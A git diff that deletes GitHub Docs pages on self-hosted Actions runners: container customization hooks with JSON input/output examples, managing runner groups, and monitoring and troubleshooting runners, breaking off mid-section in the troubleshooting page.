@@ -1,522 +0,0 @@ ---- -title: Customizing the containers used by jobs -intro: You can customize how your self-hosted runner invokes a container for a job. -redirect_from: - - /actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs -versions: - feature: container-hooks -type: reference -shortTitle: Customize containers used by jobs ---- - -> [!NOTE] -> This feature is currently in {% data variables.release-phases.public_preview %} and is subject to change. - -## About container customization - -{% data variables.product.prodname_actions %} allows you to run a job within a container, using the `container:` statement in your workflow file. For more information, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container). To process container-based jobs, the self-hosted runner creates a container for each job. - -{% data variables.product.prodname_actions %} supports commands that let you customize the way your containers are created by the self-hosted runner. For example, you can use these commands to manage the containers through Kubernetes or Podman, and you can also customize the `docker run` or `docker create` commands used to invoke the container. The customization commands are run by a script, which is automatically triggered when a specific environment variable is set on the runner. For more information, see [Triggering the customization script](#triggering-the-customization-script) below. - -This customization is only available for Linux-based self-hosted runners, and root user access is not required. - -## Container customization commands - -{% data variables.product.prodname_actions %} includes the following commands for container customization: - -* [`prepare_job`](/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs#prepare_job): Called when a job is started. -* [`cleanup_job`](/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs#cleanup_job): Called at the end of a job. -* [`run_container_step`](/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs#run_container_step): Called once for each container action in the job. -* [`run_script_step`](/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs#run_script_step): Runs any step that is not a container action. - -Each of these customization commands must be defined in its own JSON file. The file name must match the command name, with the extension `.json`. For example, the `prepare_job` command is defined in `prepare_job.json`. These JSON files will then be run together on the self-hosted runner, as part of the main `index.js` script. This process is described in more detail in [Generating the customization script](#generating-the-customization-script). - -These commands also include configuration arguments, explained below in more detail. - -### `prepare_job` - -The `prepare_job` command is called when a job is started. {% data variables.product.prodname_actions %} passes in any job or service containers the job has. This command will be called if you have any service or job containers in the job. - -{% data variables.product.prodname_actions %} assumes that you will do the following tasks in the `prepare_job` command: - -* Prune anything from previous jobs, if needed. -* Create a network, if needed. -* Pull the job and service containers. -* Start the job container. -* Start the service containers. -* Write to the response file any information that {% data variables.product.prodname_actions %} will need: - * Required: State whether the container is an `alpine` linux container (using the `isAlpine` boolean). - * Optional: Any context fields you want to set on the job context, otherwise they will be unavailable for users to use. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#job-context). -* Return `0` when the health checks have succeeded and the job/service containers are started. - -#### Arguments for `prepare_job` - -* `jobContainer`: **Optional**. An object containing information about the specified job container. - * `image`: **Required**. A string containing the Docker image. - * `workingDirectory`: **Required**. A string containing the absolute path of the working directory. - * `createOptions`: **Optional**. The optional _create_ options specified in the YAML. For more information, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container). - * `environmentVariables`: **Optional**. Sets a map of key environment variables. - * `userMountVolumes`: **Optional**. An array of user mount volumes set in the YAML. For more information, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container). - * `sourceVolumePath`: **Required**. The source path to the volume that will be mounted into the Docker container. - * `targetVolumePath`: **Required**. The target path to the volume that will be mounted into the Docker container. - * `readOnly`: **Required**. Determines whether or not the mount should be read-only. - * `systemMountVolumes`: **Required**. An array of mounts to mount into the container, same fields as above. - * `sourceVolumePath`: **Required**. The source path to the volume that will be mounted into the Docker container. - * `targetVolumePath`: **Required**. The target path to the volume that will be mounted into the Docker container. - * `readOnly`: **Required**. Determines whether or not the mount should be read-only. - * `registry` **Optional**. The Docker registry credentials for a private container registry. - * `username`: **Optional**. The username of the registry account. - * `password`: **Optional**. The password to the registry account. - * `serverUrl`: **Optional**. The registry URL. - * `portMappings`: **Optional**. A key value hash of _source:target_ ports to map into the container. -* `services`: **Optional**. An array of service containers to spin up. - * `contextName`: **Required**. The name of the service in the Job context. - * `image`: **Required**. A string containing the Docker image. - * `createOptions`: **Optional**. The optional _create_ options specified in the YAML. For more information, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container). - * `environmentVariables`: **Optional**. Sets a map of key environment variables. - * `userMountVolumes`: **Optional**. An array of mounts to mount into the container, same fields as above. - * `sourceVolumePath`: **Required**. The source path to the volume that will be mounted into the Docker container. - * `targetVolumePath`: **Required**. The target path to the volume that will be mounted into the Docker container. - * `readOnly`: **Required**. Determines whether or not the mount should be read-only. - * `registry` **Optional**. The Docker registry credentials for the private container registry. - * `username`: **Optional**. The username of the registry account. - * `password`: **Optional**. The password to the registry account. - * `serverUrl`: **Optional**. The registry URL. - * `portMappings`: **Optional**. A key value hash of _source:target_ ports to map into the container. - -#### Example input for `prepare_job` - -```json copy -{ - "command": "prepare_job", - "responseFile": "/users/octocat/runner/_work/{guid}.json", - "state": {}, - "args": { - "jobContainer": { - "image": "node:18" - "workingDirectory": "/__w/octocat-test2/octocat-test2", - "createOptions": "--cpus 1", - "environmentVariables": { - "NODE_ENV": "development" - }, - "userMountVolumes": [ - { - "sourceVolumePath": "my_docker_volume", - "targetVolumePath": "/volume_mount", - "readOnly": false - } - ], - "systemMountVolumes": [ - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work", - "targetVolumePath": "/__w", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/externals", - "targetVolumePath": "/__e", - "readOnly": true - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp", - "targetVolumePath": "/__w/_temp", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_actions", - "targetVolumePath": "/__w/_actions", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_tool", - "targetVolumePath": "/__w/_tool", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_home", - "targetVolumePath": "/github/home", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_workflow", - "targetVolumePath": "/github/workflow", - "readOnly": false - } - ], - "registry": { - "username": "octocat", - "password": "examplePassword", - "serverUrl": "https://index.docker.io/v1" - }, - "portMappings": { "80": "801" } - }, - "services": [ - { - "contextName": "redis", - "image": "redis", - "createOptions": "--cpus 1", - "environmentVariables": {}, - "userMountVolumes": [], - "portMappings": { "80": "801" }, - "registry": { - "username": "octocat", - "password": "examplePassword", - "serverUrl": "https://index.docker.io/v1" - } - } - ] - } -} -``` - -#### Example output for `prepare_job` - -This example output is the contents of the `responseFile` defined in the input above. - -```json copy -{ - "state": { - "network": "example_network_53269bd575972817b43f7733536b200c", - "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480", - "serviceContainers": { - "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105" - } - }, - "context": { - "container": { - "id": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480", - "network": "example_network_53269bd575972817b43f7733536b200c" - }, - "services": { - "redis": { - "id": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105", - "ports": { - "8080": "8080" - }, - "network": "example_network_53269bd575972817b43f7733536b200c" - } - }, - "isAlpine": true - } -} -``` - -### `cleanup_job` - -The `cleanup_job` command is called at the end of a job. {% data variables.product.prodname_actions %} assumes that you will do the following tasks in the `cleanup_job` command: - -* Stop any running service or job containers (or the equivalent pod). -* Stop the network (if one exists). -* Delete any job or service containers (or the equivalent pod). -* Delete the network (if one exists). -* Cleanup anything else that was created for the job. - -#### Arguments for `cleanup_job` - -No arguments are provided for `cleanup_job`. - -#### Example input for `cleanup_job` - -```json copy -{ - "command": "cleanup_job", - "responseFile": null, - "state": { - "network": "example_network_53269bd575972817b43f7733536b200c", - "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480", - "serviceContainers": { - "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105" - } - }, - "args": {} -} -``` - -#### Example output for `cleanup_job` - -No output is expected for `cleanup_job`. - -### `run_container_step` - -The `run_container_step` command is called once for each container action in your job. {% data variables.product.prodname_actions %} assumes that you will do the following tasks in the `run_container_step` command: - -* Pull or build the required container (or fail if you cannot). -* Run the container action and return the exit code of the container. -* Stream any step logs output to stdout and stderr. -* Cleanup the container after it executes. - -#### Arguments for `run_container_step` - -* `image`: **Optional**. A string containing the docker image. Otherwise a dockerfile must be provided. -* `dockerfile`: **Optional**. A string containing the path to the dockerfile, otherwise an image must be provided. -* `entryPointArgs`: **Optional**. A list containing the entry point args. -* `entryPoint`: **Optional**. The container entry point to use if the default image entrypoint should be overwritten. -* `workingDirectory`: **Required**. A string containing the absolute path of the working directory. -* `createOptions`: **Optional**. The optional _create_ options specified in the YAML. For more information, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container). -* `environmentVariables`: **Optional**. Sets a map of key environment variables. -* `prependPath`: **Optional**. An array of additional paths to prepend to the `$PATH` variable. -* `userMountVolumes`: **Optional**. an array of user mount volumes set in the YAML. For more information, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container). - * `sourceVolumePath`: **Required**. The source path to the volume that will be mounted into the Docker container. - * `targetVolumePath`: **Required**. The target path to the volume that will be mounted into the Docker container. - * `readOnly`: **Required**. Determines whether or not the mount should be read-only. -* `systemMountVolumes`: **Required**. An array of mounts to mount into the container, using the same fields as above. - * `sourceVolumePath`: **Required**. The source path to the volume that will be mounted into the Docker container. - * `targetVolumePath`: **Required**. The target path to the volume that will be mounted into the Docker container. - * `readOnly`: **Required**. Determines whether or not the mount should be read-only. -* `registry` **Optional**. The Docker registry credentials for a private container registry. - * `username`: **Optional**. The username of the registry account. - * `password`: **Optional**. The password to the registry account. - * `serverUrl`: **Optional**. The registry URL. -* `portMappings`: **Optional**. A key value hash of the _source:target_ ports to map into the container. - -#### Example input for image - -If you're using a Docker image, you can specify the image name in the `"image":` parameter. - -```json copy -{ - "command": "run_container_step", - "responseFile": null, - "state": { - "network": "example_network_53269bd575972817b43f7733536b200c", - "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480", - "serviceContainers": { - "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105" - } - }, - "args": { - "image": "node:18", - "dockerfile": null, - "entryPointArgs": ["-f", "/dev/null"], - "entryPoint": "tail", - "workingDirectory": "/__w/octocat-test2/octocat-test2", - "createOptions": "--cpus 1", - "environmentVariables": { - "NODE_ENV": "development" - }, - "prependPath": ["/foo/bar", "bar/foo"], - "userMountVolumes": [ - { - "sourceVolumePath": "my_docker_volume", - "targetVolumePath": "/volume_mount", - "readOnly": false - } - ], - "systemMountVolumes": [ - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work", - "targetVolumePath": "/__w", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/externals", - "targetVolumePath": "/__e", - "readOnly": true - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp", - "targetVolumePath": "/__w/_temp", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_actions", - "targetVolumePath": "/__w/_actions", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_tool", - "targetVolumePath": "/__w/_tool", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_home", - "targetVolumePath": "/github/home", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_workflow", - "targetVolumePath": "/github/workflow", - "readOnly": false - } - ], - "registry": null, - "portMappings": { "80": "801" } - } -} -``` - -#### Example input for Dockerfile - -If your container is defined by a Dockerfile, this example demonstrates how to specify the path to a `Dockerfile` in your input, using the `"dockerfile":` parameter. - -```json copy -{ - "command": "run_container_step", - "responseFile": null, - "state": { - "network": "example_network_53269bd575972817b43f7733536b200c", - "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480", - "services": { - "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105" - } - }, - "args": { - "image": null, - "dockerfile": "/__w/_actions/foo/dockerfile", - "entryPointArgs": ["hello world"], - "entryPoint": "echo", - "workingDirectory": "/__w/octocat-test2/octocat-test2", - "createOptions": "--cpus 1", - "environmentVariables": { - "NODE_ENV": "development" - }, - "prependPath": ["/foo/bar", "bar/foo"], - "userMountVolumes": [ - { - "sourceVolumePath": "my_docker_volume", - "targetVolumePath": "/volume_mount", - "readOnly": false - } - ], - "systemMountVolumes": [ - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work", - "targetVolumePath": "/__w", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/externals", - "targetVolumePath": "/__e", - "readOnly": true - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp", - "targetVolumePath": "/__w/_temp", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_actions", - "targetVolumePath": "/__w/_actions", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_tool", - "targetVolumePath": "/__w/_tool", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_home", - "targetVolumePath": "/github/home", - "readOnly": false - }, - { - "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_workflow", - "targetVolumePath": "/github/workflow", - "readOnly": false - } - ], - "registry": null, - "portMappings": { "80": "801" } - } -} -``` - -#### Example output for `run_container_step` - -No output is expected for `run_container_step`. - -### `run_script_step` - -{% data variables.product.prodname_actions %} assumes that you will do the following tasks: - -* Invoke the provided script inside the job container and return the exit code. -* Stream any step log output to stdout and stderr. - -#### Arguments for `run_script_step` - -* `entryPointArgs`: **Optional**. A list containing the entry point arguments. -* `entryPoint`: **Optional**. The container entry point to use if the default image entrypoint should be overwritten. -* `prependPath`: **Optional**. An array of additional paths to prepend to the `$PATH` variable. -* `workingDirectory`: **Required**. A string containing the absolute path of the working directory. -* `environmentVariables`: **Optional**. Sets a map of key environment variables. - -#### Example input for `run_script_step` - -```json copy -{ - "command": "run_script_step", - "responseFile": null, - "state": { - "network": "example_network_53269bd575972817b43f7733536b200c", - "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480", - "serviceContainers": { - "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105" - } - }, - "args": { - "entryPointArgs": ["-e", "/runner/temp/example.sh"], - "entryPoint": "bash", - "environmentVariables": { - "NODE_ENV": "development" - }, - "prependPath": ["/foo/bar", "bar/foo"], - "workingDirectory": "/__w/octocat-test2/octocat-test2" - } -} -``` - -#### Example output for `run_script_step` - -No output is expected for `run_script_step`. - -## Generating the customization script - -{% data variables.product.prodname_dotcom %} has created an example repository that demonstrates how to generate customization scripts for Docker and Kubernetes. - -> [!NOTE] -> The resulting scripts are available for testing purposes, and you will need to determine whether they are appropriate for your requirements. - -1. Clone the [actions/runner-container-hooks](https://github.com/actions/runner-container-hooks) repository to your self-hosted runner. - -1. The `examples/` directory contains some existing customization commands, each with its own JSON file. You can review these examples and use them as a starting point for your own customization commands. - - * `prepare_job.json` - * `run_script_step.json` - * `run_container_step.json` - -1. Build the npm packages. These commands generate the `index.js` files inside `packages/docker/dist` and `packages/k8s/dist`. - - ```shell - npm install && npm run bootstrap && npm run build-all - ``` - -When the resulting `index.js` is triggered by {% data variables.product.prodname_actions %}, it will run the customization commands defined in the JSON files. To trigger the `index.js`, you will need to add it your `ACTIONS_RUNNER_REQUIRE_JOB_CONTAINER` environment variable, as described in the next section. - -## Triggering the customization script - -The custom script must be located on the runner, but should not be stored in the self-hosted runner application directory (that is, the directory into which you downloaded and unpacked the runner software). The scripts are executed in the security context of the service account that's running the runner service. - -> [!NOTE] -> The triggered script is processed synchronously, so it will block job execution while running. - -The script is automatically executed when the runner has the following environment variable containing an absolute path to the script: - -* `ACTIONS_RUNNER_CONTAINER_HOOKS`: The script defined in this environment variable is triggered when a job has been assigned to a runner, but before the job starts running. - -To set this environment variable, you can either add it to the operating system, or add it to a file named `.env` within the self-hosted runner application directory. For example, the following `.env` entry will have the runner automatically run the script at `/Users/octocat/runner/index.js` before each container-based job runs: - -```bash -ACTIONS_RUNNER_CONTAINER_HOOKS=/Users/octocat/runner/index.js -``` - -If you want to ensure that your job always runs inside a container, and subsequently always applies your container customizations, you can set the `ACTIONS_RUNNER_REQUIRE_JOB_CONTAINER` variable on the self hosted runner to `true`. This will fail jobs that do not specify a job container. - -## Troubleshooting - -### No timeout setting - -There is currently no timeout setting available for the script executed by `ACTIONS_RUNNER_CONTAINER_HOOKS`. As a result, you could consider adding timeout handling to your script. - -### Reviewing the workflow run log - -To confirm whether your scripts are executing, you can review the logs for that job. For more information on checking the logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures). diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/index.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/index.md deleted file mode 100644 index 0236032f04f7..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Managing self-hosted runners -shortTitle: Manage self-hosted runners -intro: You can host your own runners to run workflows in a highly customizable environment. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-self-hosted-runners - - /adding-self-hosted-runners - - /autoscaling-with-self-hosted-runners - - /running-scripts-before-or-after-a-job - - /customizing-the-containers-used-by-jobs - - /configuring-the-self-hosted-runner-application-as-a-service - - /using-a-proxy-server-with-self-hosted-runners - - /using-labels-with-self-hosted-runners - - /using-self-hosted-runners-in-a-workflow - - /managing-access-to-self-hosted-runners-using-groups - - /monitoring-and-troubleshooting-self-hosted-runners - - /removing-self-hosted-runners ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups.md deleted file mode 100644 index 5775c1907856..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups.md +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: Managing access to self-hosted runners using groups -shortTitle: Manage access with runner groups -intro: You can use policies to limit access to self-hosted runners that have been added to an organization{% ifversion ghec or ghes %} or enterprise{% endif %}. -permissions: 'Enterprise accounts, organizations owned by enterprise accounts, and organizations using {% data variables.product.prodname_team %} or {% data variables.product.prodname_free_user %} plans can create and manage additional runner groups using self-hosted runners.<br><br>{% ifversion custom-org-roles %}Users with the "Manage organization runners and runner groups" permission can manage runner groups at the organization level.{% endif %}' -redirect_from: - - /actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners - - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners - - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About runner groups - -{% data reusables.actions.about-runner-groups %} - -## Creating a self-hosted runner group for an organization - -{% data reusables.actions.self-hosted-runner-security-admonition %} - -{% data reusables.actions.creating-a-runner-group-for-an-organization %} - -{% ifversion ghec or ghes %} - -## Creating a self-hosted runner group for an enterprise - - {%- ifversion ghec or ghes %} - -{% data reusables.actions.self-hosted-runner-security-admonition %} - -{%- endif %} - -{% data reusables.actions.creating-a-runner-group-for-an-enterprise %} - -{% endif %} - -{% ifversion ghec or ghes %} - -## Changing which organizations can access a runner group - -{% data reusables.actions.self-hosted-runner-security-admonition %} - -For runner groups in an enterprise, you can change what organizations in the enterprise can access a runner group. - -{% data reusables.actions.runner-groups-enterprise-navigation %} -{% data reusables.actions.changing-organization-access-for-a-runner-group %} - -{% endif %} - -## Changing which repositories can access a runner group - -{% data reusables.actions.self-hosted-runner-security-admonition %} - -For runner groups in an organization, you can change what repositories in the organization can access a runner group. - -{% data reusables.actions.runner-groups-org-navigation %} -{% data reusables.actions.changing-repository-access-for-a-runner-group %} - -{% ifversion ghec or ghes %} - -## Changing which workflows can access a runner group - -{% data reusables.actions.self-hosted-runner-security-admonition %} - -{% data reusables.actions.about-restricting-workflow-access-with-runner-groups %} - -* [Changing which workflows can access an organization runner group](#changing-which-workflows-can-access-an-organization-runner-group) -* [Changing which workflows can access an enterprise runner group](#changing-which-workflows-can-access-an-enterprise-runner-group) - -### Changing which workflows can access an organization runner group - -{% data reusables.actions.runner-groups-org-navigation %} -{% data reusables.actions.changing-workflow-access-for-a-runner-group %} - -### Changing which workflows can access an enterprise runner group - -{% data reusables.actions.runner-groups-enterprise-navigation %} -{% data reusables.actions.changing-workflow-access-for-a-runner-group %} - -{% endif %} - -## Changing the name of a runner group - -{% ifversion ghes or ghec %} -You can edit the name of your runner groups at the enterprise and organization levels. - -* [Changing the name of an organization runner group](#changing-the-name-of-an-organization-runner-group) -* [Changing the name of an enterprise runner group](#changing-the-name-of-an-enterprise-runner-group) - -### Changing the name of an organization runner group - -{% endif %} - -{% data reusables.actions.runner-groups-org-navigation %} -{% data reusables.actions.changing-the-name-of-a-runner-group %} - -{% ifversion ghes or ghec %} - -### Changing the name of an enterprise runner group - -{% data reusables.actions.runner-groups-enterprise-navigation %} -{% data reusables.actions.changing-the-name-of-a-runner-group %} -{% endif %} - -## Automatically adding a self-hosted runner to a group - -{% data reusables.actions.automatically-adding-a-runner-to-a-group %} - -<span id="moving-a-runner-to-a-group"></a> - -## Moving a self-hosted runner to a group - -{% data reusables.actions.about-moving-a-runner-to-a-group %} -{% ifversion ghes or ghec %} - -* [Moving an organization runner to a group](#moving-an-organization-runner-to-a-group) -* [Moving an enterprise runner to a group](#moving-an-enterprise-runner-to-a-group) - -### Moving an organization runner to a group - -{% endif %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-runners %} -{% data reusables.actions.moving-a-runner-to-a-group %} - -{% ifversion ghes or ghec %} - -### Moving an enterprise runner to a group - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data reusables.actions.moving-a-runner-to-a-group %} -{% endif %} - -## Removing a self-hosted runner group - -{% data reusables.actions.about-removing-a-runner-group %} -{% ifversion ghes or ghec %} - -* [Removing a runner group from an organization](#removing-a-runner-group-from-an-organization) -* [Removing a runner group from an enterprise](#removing-a-runner-group-from-an-enterprise) - -### Removing a runner group from an organization - -{% endif %} - -{% data reusables.actions.runner-groups-org-navigation %} -{% data reusables.actions.removing-a-runner-group %} - -{% ifversion ghes or ghec %} - -### Removing a runner group from an enterprise - -{% data reusables.actions.runner-groups-enterprise-navigation %} -{% data reusables.actions.removing-a-runner-group %} -{% endif %} - -{% data reusables.actions.section-using-unique-names-for-runner-groups %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners.md deleted file mode 100644 index 31f0ba680170..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners.md +++ /dev/null @@ -1,314 +0,0 @@ ---- -title: Monitoring and troubleshooting self-hosted runners -intro: You can monitor your self-hosted runners to view their activity and diagnose common issues. -redirect_from: - - /actions/hosting-your-own-runners/managing-self-hosted-runners/checking-the-status-of-self-hosted-runners - - /github/automating-your-workflow-with-github-actions/checking-the-status-of-self-hosted-runners - - /actions/automating-your-workflow-with-github-actions/checking-the-status-of-self-hosted-runners - - /actions/hosting-your-own-runners/checking-the-status-of-self-hosted-runners -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -defaultPlatform: linux -shortTitle: Monitor & troubleshoot ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Using repository-level self-hosted runners - -You may not be able to create a self-hosted runner for an organization-owned repository. - -{% data reusables.actions.disable-selfhosted-runners-crossrefs %} - -## Checking the status of a self-hosted runner - -{% data reusables.actions.self-hosted-runner-management-permissions-required %} - -{% data reusables.actions.self-hosted-runner-navigate-repo-and-org %} -{% data reusables.organizations.settings-sidebar-actions-runners %} - -1. Under "Runners", you can view a list of registered runners, including the runner's name, labels, and status. - - The status can be one of the following: - - * **Idle:** The runner is connected to {% data variables.product.github %} and is ready to execute jobs. - * **Active:** The runner is currently executing a job. - * **Offline:** The runner is not connected to {% data variables.product.github %}. This could be because the machine is offline, the self-hosted runner application is not running on the machine, or the self-hosted runner application cannot communicate with {% data variables.product.github %}. - -## Troubleshooting network connectivity - -### Checking self-hosted runner network connectivity - -You can use the self-hosted runner application's `config` script with the `--check` parameter to check that a self-hosted runner can access all required network services on {% data variables.product.github %}. - -In addition to `--check`, you must provide two arguments to the script: - -* `--url` with the URL to your {% data variables.product.company_short %} repository, organization, or enterprise. For example, `--url https://github.com/octo-org/octo-repo`. -* `--pat` with the value of a {% data variables.product.pat_v1 %}, which must have the `workflow` scope, or a {% data variables.product.pat_v2 %} with workflows read and write access. For example, `--pat ghp_abcd1234`. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -For example: - -{% mac %} - -{% data reusables.actions.self-hosted-runner-check-mac-linux %} - -{% endmac %} -{% linux %} - -{% data reusables.actions.self-hosted-runner-check-mac-linux %} - -{% endlinux %} -{% windows %} - -```powershell -config.cmd --check --url https://github.com/YOUR-ORG/YOUR-REPO --pat GHP_ABCD1234 -``` - -{% endwindows %} - -The script tests each service, and outputs either a `PASS` or `FAIL` for each one. If you have any failing checks, you can see more details on the problem in the log file for the check. The log files are located in the `_diag` directory where you installed the runner application, and the path of the log file for each check is shown in the console output of the script. - -If you have any failing checks, you should also verify that your self-hosted runner machine meets all the communication requirements. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#communication-requirements). - -### Disabling TLS certificate verification - -{% ifversion ghes %} -By default, the self-hosted runner application verifies the TLS certificate for {% data variables.product.github %}. If {% data variables.location.product_location_enterprise %} has a self-signed or internally-issued certificate, you may wish to disable TLS certificate verification for testing purposes. -{% else %} -By default, the self-hosted runner application verifies the TLS certificate for {% data variables.product.github %}. If you encounter network problems, you may wish to disable TLS certificate verification for testing purposes. -{% endif %} - -To disable TLS certification verification in the self-hosted runner application, set the `GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY` environment variable to `1` before configuring and running the self-hosted runner application. - -{% linux %} - -```shell -export GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY=1 -./config.sh --url https://github.com/YOUR-ORG/YOUR-REPO --token -./run.sh -``` - -{% endlinux %} -{% mac %} - -```shell -export GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY=1 -./config.sh --url https://github.com/YOUR-ORG/YOUR-REPO --token -./run.sh -``` - -{% endmac %} -{% windows %} - -```powershell -[Environment]::SetEnvironmentVariable('GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY', '1') -./config.cmd --url https://github.com/YOUR-ORG/YOUR-REPO --token -./run.cmd -``` - -{% endwindows %} - -> [!WARNING] -> Disabling TLS verification is not recommended since TLS provides privacy and data integrity between the self-hosted runner application and {% data variables.product.github %}. We recommend that you install the {% data variables.product.github %} certificate in the operating system certificate store for your self-hosted runner. For guidance on how to install the {% data variables.product.github %} certificate, check with your operating system vendor. - -## Reviewing the self-hosted runner application log files - -You can monitor the status of the self-hosted runner application and its activities. Log files are kept in the `_diag` directory where you installed the runner application, and a new log is generated each time the application is started. The filename begins with `Runner_`, and is followed by a UTC timestamp of when the application was started. - -> [!WARNING] -> Runner application log files for ephemeral runners must be forwarded and preserved externally for troubleshooting and diagnostic purposes. For more information about ephemeral runners and autoscaling self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners#using-ephemeral-runners-for-autoscaling). - -For detailed logs on workflow job executions, see the next section describing the `Worker_` files. - -## Reviewing a job's log file - -The self-hosted runner application creates a detailed log file for each job that it processes. These files are stored in the `_diag` directory where you installed the runner application, and the filename begins with `Worker_`. - -{% linux %} - -## Using journalctl to check the self-hosted runner application service - -For Linux-based self-hosted runners running the application using a service, you can use `journalctl` to monitor their real-time activity. The default systemd-based service uses the following naming convention: `actions.runner.<org>-<repo>.<runnerName>.service`. This name is truncated if it exceeds 80 characters, so the preferred way of finding the service's name is by checking the _.service_ file. For example: - -```shell -$ cat ~/actions-runner/.service -actions.runner.octo-org-octo-repo.runner01.service -``` - -If this fails due to the service being installed elsewhere, you can find the service name in the list of running services. For example, on most Linux systems you can use the `systemctl` command: - -```shell -$ systemctl --type=service | grep actions.runner -actions.runner.octo-org-octo-repo.hostname.service loaded active running GitHub Actions Runner (octo-org-octo-repo.hostname) -``` - -You can use `journalctl` to monitor the real-time activity of the self-hosted runner: - -```shell -sudo journalctl -u actions.runner.octo-org-octo-repo.runner01.service -f -``` - -In this example output, you can see `runner01` start, receive a job named `testAction`, and then display the resulting status: - 